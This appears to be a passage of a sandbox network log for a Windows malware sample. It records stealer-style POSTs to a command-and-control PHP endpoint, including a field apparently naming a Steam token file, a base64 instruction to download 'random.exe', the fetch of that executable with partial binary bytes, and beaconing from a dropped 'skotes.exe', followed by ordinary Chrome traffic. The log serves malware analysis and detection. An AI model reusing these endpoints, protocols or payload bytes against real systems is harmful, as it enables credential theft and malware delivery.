name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AKKECAFBFHJDGDHIEHJDContent-Disposition: form-data; name="file"------AKKECAFBFHJDGDHIEHJD--
Nov 20, 2024 00:19:31.753140926 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 00:19:31.782250881 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKJDAAFBKFHIEBFCFBK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 64 38 36 36 64 32 65 38 38 38 32 35 63 38 65 61 36 38 66 38 33 33 66 61 61 37 35 62 38 63 64 32 65 61 38 63 39 30 39 30 61 39 31 33 33 38 31 32 37 34 35 36 66 61 65 38 66 32 32 66 66 36 37 39 62 36 36 61 33 32 38 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 4b 2d 2d 0d 0a Data Ascii: ------DAKJDAAFBKFHIEBFCFBKContent-Disposition: form-data; name="token"8d866d2e88825c8ea68f833faa75b8cd2ea8c9090a91338127456fae8f22ff679b66a328------DAKJDAAFBKFHIEBFCFBKContent-Disposition: form-data; name="message"ybncbhylepme------DAKJDAAFBKFHIEBFCFBK--
Nov 20, 2024 00:19:32.018537998 CET	271	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 20, 2024 00:19:34.759860992 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDBAFHJJDAKEBGCFCBG Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 64 38 36 36 64 32 65 38 38 38 32 35 63 38 65 61 36 38 66 38 33 33 66 61 61 37 35 62 38 63 64 32 65 61 38 63 39 30 39 30 61 39 31 33 33 38 31 32 37 34 35 36 66 61 65 38 66 32 32 66 66 36 37 39 62 36 36 61 33 32 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 2d 2d 0d 0a Data Ascii: ------EGDBAFHJJDAKEBGCFCBGContent-Disposition: form-data; name="token"8d866d2e88825c8ea68f833faa75b8cd2ea8c9090a91338127456fae8f22ff679b66a328------EGDBAFHJJDAKEBGCFCBGContent-Disposition: form-data; name="message"wkkjqaiaxkhb------EGDBAFHJJDAKEBGCFCBG--
Nov 20, 2024 00:19:35.485677004 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	62143	185.215.113.16	80	6380	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 00:19:32.030227900 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 20, 2024 00:19:32.781922102 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 23:19:32 GMT Content-Type: application/octet-stream Content-Length: 1924096 Last-Modified: Tue, 19 Nov 2024 23:08:37 GMT Connection: keep-alive ETag: "673d1a75-1d5c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 30 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf0L@`L@WkHL`L @.rsrcH@.idata @ 0+@ajpijdkd@1@@xqqfwytl L6@.taggant00L":@
Nov 20, 2024 00:19:32.781953096 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 00:19:32.781965971 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 00:19:32.781991005 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 00:19:32.782020092 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 00:19:32.782036066 CET	1236	IN	Data Raw: ec 73 6c 4e ee 27 e2 e6 69 f1 de 2e 95 09 2e e5 fc 44 05 e6 ec 71 c9 19 dd 99 da 7e 41 05 c5 bd da 37 a2 7f aa 24 7d fd e4 f3 64 fd 4d af 02 2a ca 13 ca ea fa d3 6e 2f 6e 26 62 b0 c3 38 32 8a 7c 36 16 59 eb c4 de 4e 6d 36 2f d3 a2 17 7d c1 e4 bb Data Ascii: slN'i..Dq~A7$}dMn/n&b82\|6YNm6/}`"+r}Hu]6OJKOL\|Zgv16jZDrOw{`E.7z/~gLX.Xn\|]?O-%l7DP"Tx'ZdZ=t\|@F=7Z1#e'2
Nov 20, 2024 00:19:32.782193899 CET	1236	IN	Data Raw: 2c fc 8f 23 fb 0e 88 0d af e9 98 79 97 44 4c 5b fc 36 7c 7d e5 75 3e 4f 7d ee db cd e0 71 ec 36 55 07 89 e4 21 51 e9 ae f3 a8 3e 96 2c 27 ef 9c e2 2f e3 f2 14 71 56 cc 1a a0 10 e9 8c 2b df a7 1b 3a 76 39 b8 a1 d5 93 dc a2 76 ea 5c 2a 43 25 5c a0 Data Ascii: ,#yDL[6\|}u>O}q6U!Q>,'/qV+:v9v\*C%\9>+H/8?Cw bNMCcV.-1oj'_U"$%-G>IIDVM.Y ^@?-vaF^=?Z\:2,GJo:t)'+RLj:
Nov 20, 2024 00:19:32.782208920 CET	1236	IN	Data Raw: b5 1a aa bf a5 e8 41 e9 0c 3c 7a 18 da 8b fe f6 6c 9f c1 7b e5 c5 08 78 e0 12 cf 2b dc 2e 93 82 54 c2 53 14 a4 27 c6 14 cb 67 8b 4f 1c 36 3a 4e 61 8b 40 82 da d7 e4 7f ed 1d 9b 8d f6 47 99 23 08 88 6c a8 74 67 4d 3b 58 ff 3a ba 64 f4 81 fe d2 ee Data Ascii: A<zl{x+.TS'gO6:Na@G#ltgM;X:d"STyktOH\{mb~(<mQZ$cdOe4A~GBC<}#{LMrDHa7x>{sG:tg<IOw\{(+3aJ&z[rY
Nov 20, 2024 00:19:32.782224894 CET	1236	IN	Data Raw: 71 07 ad 5f f9 c4 7b dc a1 69 15 ce f2 21 1f 7e 7a 03 af 3d db 11 52 50 76 e1 67 cd 2f 71 15 ea 34 4f 01 f3 28 84 e1 0d a1 38 67 89 17 99 4e 81 ba c3 65 0d ab 6b c1 ee 99 7c 04 35 1e df 55 12 77 f8 3b 91 39 da 9f 37 aa 4c 1b e1 ad e0 74 7c 99 9f Data Ascii: q_{i!~z=RPvg/q4O(8gNek\|5Uw;97Lt\|KDN.KO)~8'Db)G)<QNeZN[vo-O&r0:Dxj{6[Aq_y \%]AOOVKpO~cl-~(u,F}};v^k-]p
Nov 20, 2024 00:19:32.782241106 CET	776	IN	Data Raw: 18 36 88 06 ad 19 2c f9 fb 3f 7d 45 8b e9 66 1d 5e 4c 91 cb 6d d6 82 28 fa 77 15 5a de 99 65 e9 e6 d6 c2 86 bb e8 41 bf d6 26 72 89 88 f1 db cd 19 7d 76 de be 26 4a 96 97 1f 0b fe d4 b8 f3 1e b7 57 c5 5a ac 27 2d 97 b5 52 25 40 0c b2 c5 ab 38 ab Data Ascii: 6,?}Ef^Lm(wZeA&r}v&JWZ'-R%@8H^<+r0A#}5NNN?YQN&C#x43HRoukaWYN]R'7zJ(o9L@DJlj{NZ=cPmh6`'`$
Nov 20, 2024 00:19:32.787349939 CET	1236	IN	Data Raw: 5a de 56 1b 9b 11 42 4c 4c da 84 b0 4b 67 dc 65 98 70 d4 42 16 67 15 a3 2d fc 80 6e 3a 96 24 69 63 38 1c ae 3c 2c e2 62 ed 17 05 40 34 d7 41 a8 cc af 70 39 98 ef a9 8c ae 29 29 43 02 0b 9c 4e e8 01 9a a7 18 5e 1a 25 74 f0 30 5f e6 14 92 6d ef a0 Data Ascii: ZVBLLKgepBg-n:$ic8<,b@4Ap9))CN^%t0_mA/+S,1&,BI=Nm)(bE\`[1B\|53QXD'r?_TI@e!m+vYFDi1;m=%c2kDYM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	62352	185.215.113.43	80	9180	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 00:20:04.193614006 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 00:20:04.918848991 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 23:20:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	142.250.184.228	443	320	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:06 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-19 23:19:07 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:07 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-E-YaBjPX4ys8OfvX8cS3ng' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-19 23:19:07 UTC	124	IN	Data Raw: 64 31 61 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 64 75 74 63 68 20 62 72 6f 73 20 63 6f 66 66 65 65 20 73 74 72 61 77 20 74 6f 70 70 65 72 22 2c 22 76 69 63 74 6f 72 69 61 20 6b 6a 61 65 72 20 74 68 65 69 6c 76 69 67 20 6d 69 73 73 20 75 6e 69 76 65 72 73 65 22 2c 22 6d 6c 62 20 6a 75 61 6e 20 73 6f 74 6f 22 2c 22 6d 61 67 6e 65 74 69 63 20 6e 6f 72 74 68 20 70 6f 6c 65 Data Ascii: d1a)]}'["",["dutch bros coffee straw topper","victoria kjaer theilvig miss universe","mlb juan soto","magnetic north pole
2024-11-19 23:19:07 UTC	1390	IN	Data Raw: 20 6d 6f 76 69 6e 67 22 2c 22 77 6f 72 64 6c 65 20 61 6e 73 77 65 72 20 6e 6f 76 65 6d 62 65 72 20 31 39 22 2c 22 77 65 61 74 68 65 72 20 66 6f 72 65 63 61 73 74 20 73 6e 6f 77 20 73 74 6f 72 6d 22 2c 22 73 6f 6e 79 20 61 31 20 69 69 22 2c 22 63 6f 62 72 61 20 6b 61 69 20 73 65 61 73 6f 6e 20 36 20 70 61 72 74 20 33 20 72 65 6c 65 61 73 65 20 64 61 74 65 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c Data Ascii: moving","wordle answer november 19","weather forecast snow storm","sony a1 ii","cobra kai season 6 part 3 release date"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\
2024-11-19 23:19:07 UTC	1390	IN	Data Raw: 52 6c 6c 36 65 6e 63 79 61 30 52 36 4d 30 31 78 65 46 4a 4a 54 58 4d 33 62 6b 46 47 55 31 46 42 61 6c 46 4e 54 6b 52 6d 56 45 35 56 51 56 6f 7a 62 57 74 58 57 45 6c 4b 4e 58 4e 69 51 54 63 31 65 6e 51 7a 55 47 6c 6a 62 6a 6c 6e 53 46 56 6b 54 44 42 6c 4d 46 4d 33 61 6d 51 33 63 55 73 33 62 6e 64 72 59 33 5a 7a 4b 31 6b 78 51 6c 42 70 55 55 35 7a 61 79 39 4c 64 58 5a 34 57 48 4a 6a 61 30 39 7a 55 45 68 4f 54 56 5a 6f 61 30 4a 61 52 79 74 47 64 43 73 76 63 48 5a 52 4e 56 42 50 63 30 31 33 61 7a 42 36 56 57 5a 6a 55 6c 4a 35 5a 45 73 30 61 31 6f 78 55 47 67 33 63 6b 68 43 52 32 5a 4d 5a 6d 56 78 4e 33 51 78 4d 47 46 57 53 6c 45 30 61 7a 64 32 51 57 59 79 59 6c 64 6c 63 46 68 4f 64 7a 4e 46 55 45 78 51 51 55 6c 73 59 55 39 48 51 7a 52 50 4e 55 39 53 62 47 6c Data Ascii: Rll6encya0R6M01xeFJJTXM3bkFGU1FBalFNTkRmVE5VQVozbWtXWElKNXNiQTc1enQzUGljbjlnSFVkTDBlMFM3amQ3cUs3bndrY3ZzK1kxQlBpUU5zay9LdXZ4WHJja09zUEhOTVZoa0JaRytGdCsvcHZRNVBPc013azB6VWZjUlJ5ZEs0a1oxUGg3ckhCR2ZMZmVxN3QxMGFWSlE0azd2QWYyYldlcFhOdzNFUExQQUlsYU9HQzRPNU9SbGl
2024-11-19 23:19:07 UTC	457	IN	Data Raw: 49 39 5a 33 4e 66 63 33 4e 77 50 57 56 4b 65 6d 6f 30 64 46 5a 51 4d 58 70 6a 4d 46 52 45 55 45 35 4c 51 33 4e 34 65 57 6c 76 65 56 6c 51 56 47 6c 36 59 7a 46 4b 56 58 4e 6e 63 56 52 6a 65 46 52 4c 54 54 52 32 65 56 46 6a 51 57 70 54 61 30 70 7a 51 58 41 47 63 41 63 5c 75 30 30 33 64 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 72 65 6c 65 76 61 6e 63 65 22 3a 5b 31 32 35 37 2c 31 32 35 36 2c 31 32 35 35 2c 31 32 35 34 2c 31 32 35 33 2c 31 32 35 32 2c 31 32 35 31 2c 31 32 35 30 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 Data Ascii: I9Z3Nfc3NwPWVKemo0dFZQMXpjMFREUE5LQ3N4eWlveVlQVGl6YzFKVXNncVRjeFRLTTR2eVFjQWpTa0pzQXAGcAc\u003d","zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:sugg
2024-11-19 23:19:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49710	142.250.184.228	443	320	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:06 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49709	142.250.184.228	443	320	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:06 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-19 23:19:07 UTC	1018	IN	HTTP/1.1 200 OK Version: 696417149 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 19 Nov 2024 23:19:07 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-19 23:19:07 UTC	372	IN	Data Raw: 33 35 38 62 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 358b)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-19 23:19:07 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-19 23:19:07 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
